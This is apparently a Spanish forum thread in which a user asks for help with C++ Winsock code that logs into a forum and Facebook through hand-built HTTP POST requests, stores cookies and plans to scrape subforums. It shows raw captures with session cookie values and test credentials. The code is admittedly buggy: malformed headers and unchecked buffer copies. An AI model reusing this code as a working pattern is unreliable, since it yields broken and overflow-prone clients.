Set-Cookie: dsi=20031e9671a05b580df037d3b1a3e849deb8853c%7EuOo6w03xntjgPZiaVDorb8aI6mv5Jz24lLGcoIUZvRP3EkFmprDY39ITuyVfaqyimvryApNqmfNAuVnYIjiQB%2FvFuh%2FfwOOW%2Btk%2BsU3KbiD4cQiRHPEYjCExkV2fuqIi0Sd4KuFqsrpPNf0%3D; expires=Sun, 26-Oct-2014 09:19:24 GMT; Max-Age=43200; path=/; domain=dominio.com

Set-Cookie: dsi=79e5a61e2302be64f79e118ed6e0faaa397758a1%7EL93SIQyyIU495qVRvBzSSvq%2BYynpPCUA%2F5ICO5rcOX4odLkpSkipzv1f2oCsWK16Xpvd6MKsyBRygveshy0oHIiy41Y7HEQFuLvA6LdpXNQ%2FZRMyuSdJdm1sFSZCeJoSdfnZilh5zKbyTEBqJzuJRYZb9v5MXgqkFgtaEmACPmzuAGw%3D; expires=Sun, 26-Oct-2014 09:19:24 GMT; Max-Age=43200; path=/; domain=dominio.com

Vary: Accept-Encoding

X-Cache: MISS from ubuntu

X-Cache-Lookup: MISS from ubuntu:3128

Via: 1.1 ubuntu:3128 (squid/2.7.STABLE9)

Connection: close



þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþÌÌÌÌÌÌÌÌ


Bien se supone que con el código anterior debería de guardar las cookies es "dsi" en un archivo cookies.txt pues bien ese archivo está vacío. Vale ahora ya tengo las cookies suponiendo que eso hubiera funcionado, ¿ahora que debo hacer?, ¿cómo sé si he iniciado sesión o no?.

Ahora quiero meter un post a un directorio de la página para extraer datos de los subforos:

Código (cpp) [Seleccionar]
void descarga_foros_subforos()//Entra a foro y descarga foros, luego sus subforos.
{
WSADATA wsa;
SOCKET sock;
unsigned short tamaño;
struct sockaddr_in directorio;
char datos[20000], auxiliar[50];
char cookie[1000];

WSAStartup(MAKEWORD(2, 0), &wsa);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("Se ha producido un error al inicializar el socket.");
exit(0);
}
else
{
directorio.sin_family = AF_INET;
directorio.sin_port = htons(PUERTO);
directorio.sin_addr.s_addr = inet_addr(IP);

ifstream cookies("cookies.txt");

strcpy_s(datos, "POST /foro HTTP/1.1\r\n");
strcat_s(datos, "Host: dominio.com\r\n");
strcat_s(datos, "User-Agent: Mozilla / 5.0 (Windows NT 6.2; WOW64) AppleWebKit"
"/ 537.36 (KHTML, like Gecko) Chrome / 38.0.2125.104 Safari / 537.36");
strcat_s(datos, "Content-type: application/x-www-form-urlencoded\r\n");
while (cookies.getline(cookie, 400) && strcmp(cookie, "") != 0)
{
strcat_s(datos, "\r\nSet-cookie: ");
strcat_s(datos, cookie);
}
strcat_s(datos, "\r\n\r\n");
cookies.close();

connect(sock, (struct sockaddr*)&directorio, sizeof(directorio));
send(sock, datos, strlen(datos), 0);
strcpy_s(datos, "");
recv(sock, datos, 20000, 0);
printf("Recibo: %s", datos); system("pause");
ofstream cookiez("cookies.txt",ios::ate);
int tam = strlen(datos), i, j;
char hookie[500];
for (i = 0; i < tam; i++)
{
if ((datos[i] == 'S') &&
(datos[i + 1] == 'e') &&
(datos[i + 2] == 't') &&
(datos[i + 3] == '-') &&
(datos[i + 4] == 'c') &&
(datos[i + 5] == 'o') &&
(datos[i + 6] == 'o') &&
(datos[i + 7] == 'k') &&
(datos[i + 8] == 'i') &&
(datos[i + 9] == 'e') &&
(datos[i + 10] == ':') &&
(datos[i + 11] == ' '))
{
i = i + 12;
j = 0;
while (datos[i] != ';')
{
cookie[j] = datos[i];
i++;
j++;
}
cookie[j] = '*';
j = 0;
for (int k = 0; k < strlen(cookie); k++)
{
if (cookie[k] != '*')
{
hookie[j] = cookie[k];
j++;
}
else
{
hookie[j] = '\0';
break;
}
}
cookiez << hookie << endl;
strcpy_s(cookie, "");
strcpy_s(hookie, "");
}
}
cookiez.close();
for (i = 0; i < tam; i++)
               {
                       //aqui deberia hacer una busqueda de todos los divs
                       //que contengan x cadena para que me saque todos los temas
                       //que contengan esa cadena.
                }
}
}


Pero al ejecutar esto, ya vamos mal pues de lo anterior no conseguimos guardar las cookies pues fallo, y ahora lo recibido es:

HTTP/1.0 200 OK

Server: nginx

Date: Sat, 25 Oct 2014 21:42:13 GMT

Content-Type: text/html; charset=utf-8

Set-Cookie: dsi=2a6854eb4a0c7ab311cb3036afa75b515c2b1a21%7EVgq4JI%2B77r1QvKwCQl8HYd6r4%2BQq92HB9xVz0SFy5kKeKKWp9grCQsKChkSAsvWUub3v0M8TTkVXXQFze5VtbjHqRYJxBBT2%2FyaduSDYk0dYvCD%2FFeY9otr%2FmG2CfwMJsm0%2FPGRg6mWtxZ4%3D; expires=Sun, 26-Oct-2014 09:42:13 GMT; Max-Age=43200; path=/; domain=dominio.com

Set-Cookie: dsi=6cc09e824f232cb19286c1dd44263e086976997f%7EtQWb1SKlSJuGZoqVdPU%2FjX8YUqr4DTSIwKrAXE0WlWCde%2FiV4LwHjZZHcAjHAVxxOq8g%2Bbnyym1LihOnxn3l1ZvFLFiaIoRqVf5tMQCArvDkL8%2FE2JlmE0dEyIuqW8KHXUw%2B8SAu6mM1tq0%3D; expires=Sun, 26-Oct-2014 09:42:13 GMT; Max-Age=43200; path=/; domain=dominio.com

Vary: Accept-Encoding

X-Cache: MISS from ubuntu

X-Cache-Lookup: MISS from ubuntu:3128

Via: 1.1 ubuntu:3128 (squid/2.7.STABLE9)

Connection: close



þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþ


El fichero de cookies sigue vacío, no tengo nada, ¿que ocurre? ¿alguien sabe que estoy haciendo mal? Y guiarme un poco con el procedimiento gracias.

Saludos.




Edito: En el anterior code no guardaba las cookies porque en el if puse "Set-cookie:" en vez de "Set-Cookie:" (solucionado ahora las cookies se guardan en el archivo).

Ayuda pls. He estado trabajando con el complemento firefox para cabeceras LIVE HTTP HEADERS, y bueno al intentar iniciar sesión obtuve esto:

POST /login HTTP/1.1
Host: dominio.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://dominio.com/login
Cookie: dsi=9888f8165173520951c8a290624375377019754c%7ExnMxIfJPCtfexiomYOApRUg5euo8voBRZGyPu76WNGsKvg%2Br216gsn9GD%2B%2BXoIBOaGsXTTAHafyzc%2Fcg4CzL1qIxmKH4EGcHdZCfgudd1LRRVR2GUIsripsJb0OMHSRB0PeC7NtV2s1D%2F0XqLiAeisQeSdn%2FEiXwrGpt%2FG2Tjbpwuj%2F%2BE4lf3%2FS1fKq8hjgTVRWG8M%2BGumOlp3c9BD%2B5XAxswAahq3DJKzXc5tolZ4FAn0gOiQCz%2B71TmTU%3D; _ga=GA1.3.243100690.1414398163; __insp_slim=1414398842749; __insp_nv=true; __insp_ref=d; __insp_norec_sess=true; __insp_wid=1437863939; _gat=1; _gat_newTracker=1
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
action=login&ref=&email=usuariooo&password=jhjhjh&cap=
HTTP/1.0 200 OK
Server: nginx
Date: Mon, 27 Oct 2014 08:36:18 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 6817
Set-Cookie: dsi=a0b3aecda88296af21c62c532c5b7c03d5f7c93b%7EU7%2Bubzy8doqEALJ7jARDFNGEBq0dkzo7Wl091fODByCwBML4wg7yHq4tlmZXwwor7FQsscwV3fbqwh2XDttQYQvBtfJSYJPM7SASc8NBcs2Tyg38nkVANIHEmQxaBlfe20QMB%2Bot0zHyelX3Qh%2BXREprwDuk73rdZX8KbrfeozDq8fRNhH8htoNCksatqok7GU%2BOYqiLROjkVJICyUvOLSMg0PcJQ40YIXm4a4wfQlzulpA%2FTAsMM8JP79l9Hw%3D%3D; expires=Mon, 27-Oct-2014 20:36:18 GMT; Max-Age=43200; path=/; domain=dominio.com
Vary: Accept-Encoding
Content-Encoding: gzip
X-Cache: MISS from ubuntu
X-Cache-Lookup: MISS from ubuntu:3128
Via: 1.1 ubuntu:3128 (squid/2.7.STABLE9)
Connection: keep-alive
----------------------------------------------------------
http://static.dominio.com/min/f=assets/css/style.css,assets/css/m.css,assets/css/i18n/es.css&v=1414059469,1414059469,1414059469&tt=.css


Haber esto es lo que manda firefox para una sesión errónea (mal introducido user y pass), el servidor lo recibe y ofrece un html de 6817 caracteres, y entonces firefox comienza a interactuar con el y a descargar dependencias para cargar el nuevo html y que pida de nuevo el usuario y contraseña.

Vaya yo no tuve la misma suerte, esto es lo que mando al servidor con mi programa sin previa conexión ojo, firefox quizás tuvo previa conexión por la cookie, pero no e de dónde la saca ni que son esos atributos que le pone en la cola.

Aún así me puse a copiarlo. En la primera interacción con el server mando lo mismo que firefox pero sin cookie y recibo una cadena de 62 caracteres que no veo sale basura, sale cortada la cadena al usar recv. De ahí saco las cookies del server las guardo en un archivo y hago un POST con ellas el mismo POST solo que con cookies y añadiendo la cola de las cookies de firefox.

haya va mi petición y su respuesta (primera interacción sin cookies del server aún):


POST /login HTTP/1.1
Host: dominio.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http ://dominio..com/login
Connection: keep-alive
Cache-Control: max-age=0
Content-type: application/x-www-form-urlencoded
Content-length: 74

action=login&ref=&email=usuariooo&password=jhjhjh&cap=



HTTP/1.0 302 Moved Temporarily
Server: nginx
Date: Mon, 27 Oct 2014 10:02:53 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 20
Set-Cookie: dsi=dbfb766863c26a84209efbcc8f7110e013504bf5%7ErN8ROCK%2B3Is1sShgBR7ZgDUnfp8tXsyWb1BDGTuqGVV5x7EVyiQeqC%2B0g5Y4kM5xmL547ur0MQRn6z6pPMuFIoGfJnMLGgX1cI4AT%2B47bHi4KeoMWVw3JMncuJXfZIiWoouTrDWCtGFCYw%3D%3D; expires=Mon, 27-Oct-2014 22:02:53 GMT; Max-Age=43200; path=/; domain=dominio.com

Location: http://dominio.com/

Set-Cookie: dsi=e276861b5ae8e19a3cbc0093c18763bf5eadcb95%7EeOgl6lcCqAMLk6czChQZip5pkuji%2FXHUNGo0MnvQVMUohPW45pGK7llGl8%2BO3CP9BwAmvlIgaAzyt9g0sAGh8JXsGIcvUWbJBEQKHB9Jg6qTmXGLi5QqO7CjhfJiEj2vbZl9uwVpuusocAeGFUA%2FYEmgWQH%2FEGic%2FSYBWNeUQHOi3xVk6RPT6EePeeKLCTqT4H%2BN3iQSCr%2FdDhNXiEls1DJAaDake4i00XcC%2Buo8Ow%3D%3D; expires=Mon, 27-Oct-2014 22:02:53 GMT; Max-Age=43200; path=/; domain=dominio.com
Vary: Accept-Encoding
Content-Encoding: gzip
X-Cache: MISS from ubuntu
X-Cache-Lookup: MISS from ubuntu:3128
Via: 1.1 ubunþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþ


Esta es la segunda interacción con los cookies recibidos de la respuesta a la primera:


POST /login HTTP/1.1
Host: dominio.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http ://dominio.com/login
Cookie: dsi=dbfb766863c26a84209efbcc8f7110e013504bf5%7ErN8ROCK%2B3Is1sShgBR7ZgDUnfp8tXsyWb1BDGTuqGVV5x7EVyiQeqC%2B0g5Y4kM5xmL547ur0MQRn6z6pPMuFIoGfJnMLGgX1cI4AT%2B47bHi4KeoMWVw3JMncuJXfZIiWoouTrDWCtGFCYw%3D%3D;__insp_nv = true; __insp_ref = d; __insp_norec_sess = true; __insp_wid = 1437863939; _gat = 1; _gat_newTracker = 1; lfbs = f74842e072e54dff920fc7f53b775edf63a098e1%7E1
Cookie: dsi=e276861b5ae8e19a3cbc0093c18763bf5eadcb95%7EeOgl6lcCqAMLk6czChQZip5pkuji%2FXHUNGo0MnvQVMUohPW45pGK7llGl8%2BO3CP9BwAmvlIgaAzyt9g0sAGh8JXsGIcvUWbJBEQKHB9Jg6qTmXGLi5QqO7CjhfJiEj2vbZl9uwVpuusocAeGFUA%2FYEmgWQH%2FEGic%2FSYBWNeUQHOi3xVk6RPT6EePeeKLCTqT4H%2BN3iQSCr%2FdDhNXiEls1DJAaDake4i00XcC%2Buo8Ow%3D%3D;__insp_nv = true; __insp_ref = d; __insp_norec_sess = true; __insp_wid = 1437863939; _gat = 1; _gat_newTracker = 1; lfbs = f74842e072e54dff920fc7f53b775edf63a098e1%7E1Connection: keep - alive
Cache-Control: max-age=0
Content-type: application/x-www-form-urlencoded
Content-length: 74

action=login&ref=&email=usuariooo&password=jhjhjh&cap=


HTTP/1.0 302 Moved Temporarily
Server: nginx
Date: Mon, 27 Oct 2014 10:04:38 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 20
Location: http://dominio.com/
Set-Cookie: dsi=d49bf690a0b0c6c178353d7e8ecca1a2a3b1c354%7E%2FkSCggzmo5e0ABgqVr1RI4Ke%2FHT8IY1ScWZjvrmkE%2BoFAo7Y02%2BEYqYmGgutz0ZzYwBpJCRpdHLYYT8gZ%2BhQ07MjAnO%2BIlOSsAea8Frex4C2M8I4Pjf90u%2BNaNPMSe%2BhYFUMP2ORAMh2WfZv0kaD2f0ZwUovmlM%2FLvxck5eumaM8M8Vz8oW1tiIxzDf%2BNHtr4waooak7%2F8EMtwd9OSl2kRVEj1fglYP3CQ84UVkLrA%3D%3D; expires=Mon, 27-Oct-2014 22:04:38 GMT; Max-Age=43200; path=/; domain=dominio.com
Vary: Accept-Encoding
Content-Encoding: gzip
X-Cache: MISS from ubuntu
X-Cache-Lookup: MISS from ubuntu:3128
Via: 1.1 ubuntu:3128 (squid/2.7.STABLE9)
Connection: close

þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþ


En resumen no obtengo la misma cadena de datos al hacer parecida petición al servidor desde firefoz que desde mi programa, solo cambió la cookie, ¿que puede fallar?.

:laugh: :laugh: :laugh: :laugh: :D :D
#160
Hola de nuevo, miren mediante este programa busco iniciar sesión en facebook para ello he estudiado un poco su página:

Citar
<td class="html7magic"><label for="email">Correo o teléfono</label></td><td class="html7magic"><label for="pass">Contraseña</label></td></tr><tr><td><input type="text" class="inputtext" name="email" id="email" value="" tabindex="1" /></td><td><input type="password" class="inputtext" name="pass" id="pass" tabindex="2" /></td><td><label class="uiButton uiButtonConfirm" id="loginbutton" for="u_0_l"><input value="Entrar" tabindex="4" type="submit" id="u_0_l" /></label></td>

Lo que me hace deducir que para iniciar sesión necesitare realizar un POST con el hotmail o teléfono y contraseña de la siguiente manera:

email->miemail@hotmail.com
pass->contraseña

Entonces en el C++ tengo lo siguiente para iniciar sesión ojo a la cookie tengo problemas para extraerla, algun algoritmo sería bien recibido:

char* inicia_sesion(char* user, char *pass)
{
WSADATA wsa;
int sok, len;
struct sockaddr_in dir;
char buf[500], cad[100], aux[10], rec[1000];

WSAStartup(MAKEWORD(2, 0), &wsa);

if ((sok = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("Se ha producido un error al inicializar el socket.");
exit(0);
}
else
{
dir.sin_family = AF_INET;
dir.sin_port = htons(PUERTO);
dir.sin_addr.s_addr = inet_addr(IP);

strcpy_s(cad, "email=");
strcat_s(cad, user);
strcat_s(cad, "&pass=");
strcat_s(cad, pass);

len = strlen(cad);
_itoa_s(len, aux, 10);

strcpy_s(buf, "POST /index.php HTTP/1.1\r\n");
strcat_s(buf, "Host: www.facebook.com\r\n");
strcat_s(buf, "Content-type: application/x-www-form-urlencoded\r\n");
strcat_s(buf, "Content-length: ");
strcat_s(buf, aux);
strcat_s(buf, "\r\n\r\n");
strcat_s(buf, cad);

connect(sok, (struct sockaddr*)&dir, sizeof(dir));
send(sok, buf, strlen(buf), 0);
strcpy_s(buf, "");
recv(sok, buf, 1000, 0);
printf("%s", buf);
}


Recibo que el navegador no es válido:

CitarHTTP/1.0 302 Moved Temporarily
Location: http://www.facebook.com/unsupportedbrowser
Content-Type: text/html; charset=utf-8
X-FB-Debug: /e6SzF/7COKJY++J5Zt0aTYEdi2vwAvXAwRVH91SWDGbp6gIAHzpF2G9v+jDJox1gT4j3E8o0sk/OJy/qxKVuA==
Date: Fri, 24 Oct 2014 17:40:51 GMT
Content-Length: 0
X-Cache: MISS from ubuntu
X-Cache-Lookup: MISS from ubuntu:3128
Via: 1.1 ubuntu:3128 (squid/2.7.STABLE9)
Connection: close

þþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþþÌÌÌÌÌÌÌÌ

Como puedo iniciar sesión, luego me tendrá que dar cookies. Un poco ayuda con esto pls.

